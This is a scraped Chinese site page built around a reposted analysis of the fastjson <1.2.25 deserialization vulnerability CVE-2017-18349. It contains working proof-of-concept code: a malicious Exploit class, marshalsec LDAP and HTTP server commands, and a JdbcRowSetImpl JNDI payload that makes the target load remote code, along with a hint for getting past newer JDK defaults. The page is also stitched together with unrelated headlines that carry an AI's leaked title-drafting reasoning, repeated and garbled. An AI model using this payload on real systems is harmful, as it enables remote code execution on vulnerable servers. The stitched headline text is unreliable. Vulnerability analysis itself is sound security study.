热点
闭环思维精修创业逻辑,驱动效率跃升增长,reasoning_content:我们要求以人工智能工程师的口吻,写一个与“技术、科技”相关,关于“[点评精修创业逻辑,闭环思维驱动效率跃升式增长]”的标题需要简短精炼,30字以内直接输出标题,不要加说明nn口吻:人工智能工程师,所以可以带有技术术语或工程师视角,比如“算法”、“闭环”、“迭代”、“优化”、“效率”、“增长”等核心是“点评精修创业逻辑”和“闭环思维驱动效率跃升式增长”nn可能的标题如:“闭环逻辑优化创业效率,算法驱动增长” 但需要更精炼或者“技术闭环重塑创业逻辑,效率跃升”等nn注意:原主题中有“点评精修”,可能是指对创业逻辑进行精细打磨和点评?但“点评精修”这个词有点奇怪或许可以理解为“精修创业逻辑”通过闭环思维标题内最好包含“闭环”、“效率”、“增长”nn考虑:“闭环思维:创业逻辑精修与效率跃升” 有点长“精修创业逻辑,闭环驱动增长” 15字左右加上“AI工程师视角”可能更好?但要求以口吻,不一定要直接写“我”nn试试:“闭环算法精修创业逻辑,驱动效率跃升增长” —— 21字或者更简洁:“闭环逻辑精修,效率跃升增长” 12字但不够技术感nn作为AI工程师,可能用“系统”、“架构”、“迭代”、“优化”例如:“创业逻辑闭环优化,效率指数增长” 15字nn另一个:“精修创业逻辑环,效率跃升增长” 有点别扭nn最终决定:“闭环思维精修创业逻辑,效率跃升增长” 16字但需要突出技术感?可以加“驱动”: “闭环驱动创业逻辑精修,效率跃升增长” 18字或者“技术闭环:创业逻辑精修与效率跃升” 19字nn注意字数限制30字以内,都很安全我选择最简洁有力的:“闭环逻辑精修,驱动效率跃升增长” 16字但缺少“创业”二字?原主题有“创业逻辑”改为:“闭环精修创业逻辑,驱动效率跃升增长” 18字完美nn但“闭环精修”可能不如“闭环思维精修”也可以:“闭环思维精修创业逻辑,驱动效率跃升” 18字nn考虑到AI工程师口吻,可以稍微技术化:“算法闭环精修创业逻辑,效率跃升增长” 18字或者“迭代闭环精修创业逻辑,效率指数增长” 19字nn我认为最好的是:“闭环思维精修创业逻辑,驱动效率跃升增长” 正好20字简洁、完整nn直接输出
科技精修点评逻辑链,创业效率黄金闭环,reasoning_content:我们要求以内容战略师的口吻,写一个与“技术、科技”相关,关于[点评精修逻辑链:构建创业效率黄金闭环]的标题注意:括号内的内容似乎是主题,但要求输出标题,且简短精炼,30字以内直接输出一个标题,不要加说明nn思考:主题是“点评精修逻辑链:构建创业效率黄金闭环”,需要结合技术/科技口吻是内容战略师可能的用技术精修逻辑链,打造创业效率黄金闭环?但需要更吸引人或者:科技赋能点评逻辑链,构建创业效率闭环但注意“点评”可能是某个业务?或者“点评精修逻辑链”可能指代对评论或反馈的优化逻辑为了通用,可以写:用技术精修逻辑链,打造创业效率黄金闭环字数:15字或者更短:科技精修逻辑链,创业效率黄金闭环11字或者:技术赋能逻辑链,构建创业闭环但不够完整nn考虑到要求“与‘技术、科技’相关”,以及“内容战略师”口吻,可以更有策略性比如:科技重塑点评逻辑,创业效率闭环制胜但需要包含“精修逻辑链”和“黄金闭环”另一个:精修逻辑链的技术策略,构建创业效率黄金闭环字数超了?精修逻辑链的技术策略:8字,构建创业效率黄金闭环:10字,共18字但不够流畅nn更优:技术精修逻辑链,黄金闭环提效率12字或者:科技驱动逻辑链精修,创业效率黄金闭环13字nn注意:原主题中有“[点评精修逻辑链]”,可能“点评”是关键词,但标题中不一定非要出现,因为要求是与技术科技相关,关于这个主题可以保留“点评”吗?用户说“关于'[点评精修逻辑链:构建创业效率黄金闭环]'的标题”,所以标题应该围绕这个主题最好包含“点评精修逻辑链”或类似但也可以灵活nn最终决定:技术赋能点评精修逻辑链,构建创业效率黄金闭环字数:19字符合或者更精简:科技精修点评逻辑链,创业效率黄金闭环14字我认为这个不错nn直接输出
筑牢安全基线:赋能移动应用,护航万物智联,reasoning_content:我们要求以程序员的口吻,写一个与技术、科技相关的标题,主题是筑牢安全基线:赋能移动应用,护航万物智联新生态需要简短精炼,30字以内程序员口吻可以带点技术术语、代码风格、或者幽默比如“代码即安全”、“安全赋能移动,智联万物”等但要注意紧扣主题可以想到:安全基线筑牢,移动应用赋能,万物智联可以写成类似“安全基线,代码加固,万物智联新生态”但字数或者“筑牢安全基线,驱动移动智能,护航万物互联”但字数可能超更精炼:”安全基线赋能,移动应用护航,万物智联“或者程序员风格:”安全即服务,移动赋能,智联万物“但需要包含”筑牢安全基线“和”赋能移动应用“也可以直接:”安全基线赋能移动,万物智联新生态“ 22字再调整:”筑牢安全基线,赋能移动,智联万物“ 15字但要突出“护航”或者:”安全基线+移动赋能=万物智联新生态“ 但可能超或者用代码风格:”[安全基线].mobilize() -> 万物智联“ 但可能太抽象最好直接:”筑牢安全基线,赋能移动应用,护航万物智联“ 20字但这是三个短语程序员口吻可以加个冒号:”筑牢安全基线:赋能移动应用,护航万物智联“ 正好或者更简:”安全基线赋能移动,护航万物智联新生态“ 19字输出一个标题
15 9 月 2026, 周二

如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞解析

如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
 
下面将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等。
 
(1)影响范围
Fastjson<1.2.25
 
(2)漏洞成因
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
 
import java.util.Map;
 
public class User {
    private String name;
    private Map map;
    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
    public Map getmap() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return map;
    }
}
public class Test {
    public static void main(String[] args) {
        String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}";
        json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}";
        Object obj = JSON.parse(json);
        System.out.println(obj); //输出User{name='zhangsan'},弹出计算器
    }
}
经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set方法,故在setValue函数中fieldInfo.getOnly为true,method为getmap方法
 
public void setValue(Object object, Object value) {
    if (value == null //
        && fieldInfo.fieldClass.isPrimitive()) {
        return;
    }
    try {
        Method method = fieldInfo.method;
        if (method != null) {
            if (fieldInfo.getOnly) {//set方法不存在,根据类型调用get方法
                if (fieldInfo.fieldClass == AtomicInteger.class) {
                    AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicInteger) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicLong.class) {
                    AtomicLong atomic = (AtomicLong) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicLong) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                    AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicBoolean) value).get());
                    }
                } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                    Map map = (Map) method.invoke(object);
                    if (map != null) {
                        map.putAll((Map) value);
                    }
                } else {
                    Collection collection = (Collection) method.invoke(object);
                    if (collection != null) {
                        collection.addAll((Collection) value);
                    }
                }
            } else {//set方法存在,调用set方法
                method.invoke(object, value);
            }
            return;
        }
调试可以发现调用链如下:
  
(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE
 
找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get方法但未定义set方法,在get方法中可构造gadget链达到代码执行目的。
 
找到一个类,存在一个属性,定义了set方法,在方法中可构造gadget链达到代码执行目的。
 
找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:
  
connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:
  
步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务
 
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
 
public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {
 
    public Exploit() throws IOException {
        System.out.println("Exploit");
        Runtime.getRuntime().exec("calc");
    }
    
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("getObjectInstance");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
python -m SimpleHTTPServer 80
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2:触发json解析,实现计算器弹窗
 
String className = "com.sun.rowset.JdbcRowSetImpl";
String dataSourceName = "ldap://127.0.0.1:7777/any";
json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}";
//JDK 8u191及以后,默认为false,以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JSON.parse(json);
针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。
 
关于如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

dawei

【声明】:乐山站长网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

您错过了

闭环思维精修创业逻辑,驱动效率跃升增长,reasoning_content:我们要求以人工智能工程师的口吻,写一个与“技术、科技”相关,关于“[点评精修创业逻辑,闭环思维驱动效率跃升式增长]”的标题需要简短精炼,30字以内直接输出标题,不要加说明nn口吻:人工智能工程师,所以可以带有技术术语或工程师视角,比如“算法”、“闭环”、“迭代”、“优化”、“效率”、“增长”等核心是“点评精修创业逻辑”和“闭环思维驱动效率跃升式增长”nn可能的标题如:“闭环逻辑优化创业效率,算法驱动增长” 但需要更精炼或者“技术闭环重塑创业逻辑,效率跃升”等nn注意:原主题中有“点评精修”,可能是指对创业逻辑进行精细打磨和点评?但“点评精修”这个词有点奇怪或许可以理解为“精修创业逻辑”通过闭环思维标题内最好包含“闭环”、“效率”、“增长”nn考虑:“闭环思维:创业逻辑精修与效率跃升” 有点长“精修创业逻辑,闭环驱动增长” 15字左右加上“AI工程师视角”可能更好?但要求以口吻,不一定要直接写“我”nn试试:“闭环算法精修创业逻辑,驱动效率跃升增长” —— 21字或者更简洁:“闭环逻辑精修,效率跃升增长” 12字但不够技术感nn作为AI工程师,可能用“系统”、“架构”、“迭代”、“优化”例如:“创业逻辑闭环优化,效率指数增长” 15字nn另一个:“精修创业逻辑环,效率跃升增长” 有点别扭nn最终决定:“闭环思维精修创业逻辑,效率跃升增长” 16字但需要突出技术感?可以加“驱动”: “闭环驱动创业逻辑精修,效率跃升增长” 18字或者“技术闭环:创业逻辑精修与效率跃升” 19字nn注意字数限制30字以内,都很安全我选择最简洁有力的:“闭环逻辑精修,驱动效率跃升增长” 16字但缺少“创业”二字?原主题有“创业逻辑”改为:“闭环精修创业逻辑,驱动效率跃升增长” 18字完美nn但“闭环精修”可能不如“闭环思维精修”也可以:“闭环思维精修创业逻辑,驱动效率跃升” 18字nn考虑到AI工程师口吻,可以稍微技术化:“算法闭环精修创业逻辑,效率跃升增长” 18字或者“迭代闭环精修创业逻辑,效率指数增长” 19字nn我认为最好的是:“闭环思维精修创业逻辑,驱动效率跃升增长” 正好20字简洁、完整nn直接输出

科技精修点评逻辑链,创业效率黄金闭环,reasoning_content:我们要求以内容战略师的口吻,写一个与“技术、科技”相关,关于[点评精修逻辑链:构建创业效率黄金闭环]的标题注意:括号内的内容似乎是主题,但要求输出标题,且简短精炼,30字以内直接输出一个标题,不要加说明nn思考:主题是“点评精修逻辑链:构建创业效率黄金闭环”,需要结合技术/科技口吻是内容战略师可能的用技术精修逻辑链,打造创业效率黄金闭环?但需要更吸引人或者:科技赋能点评逻辑链,构建创业效率闭环但注意“点评”可能是某个业务?或者“点评精修逻辑链”可能指代对评论或反馈的优化逻辑为了通用,可以写:用技术精修逻辑链,打造创业效率黄金闭环字数:15字或者更短:科技精修逻辑链,创业效率黄金闭环11字或者:技术赋能逻辑链,构建创业闭环但不够完整nn考虑到要求“与‘技术、科技’相关”,以及“内容战略师”口吻,可以更有策略性比如:科技重塑点评逻辑,创业效率闭环制胜但需要包含“精修逻辑链”和“黄金闭环”另一个:精修逻辑链的技术策略,构建创业效率黄金闭环字数超了?精修逻辑链的技术策略:8字,构建创业效率黄金闭环:10字,共18字但不够流畅nn更优:技术精修逻辑链,黄金闭环提效率12字或者:科技驱动逻辑链精修,创业效率黄金闭环13字nn注意:原主题中有“[点评精修逻辑链]”,可能“点评”是关键词,但标题中不一定非要出现,因为要求是与技术科技相关,关于这个主题可以保留“点评”吗?用户说“关于'[点评精修逻辑链:构建创业效率黄金闭环]'的标题”,所以标题应该围绕这个主题最好包含“点评精修逻辑链”或类似但也可以灵活nn最终决定:技术赋能点评精修逻辑链,构建创业效率黄金闭环字数:19字符合或者更精简:科技精修点评逻辑链,创业效率黄金闭环14字我认为这个不错nn直接输出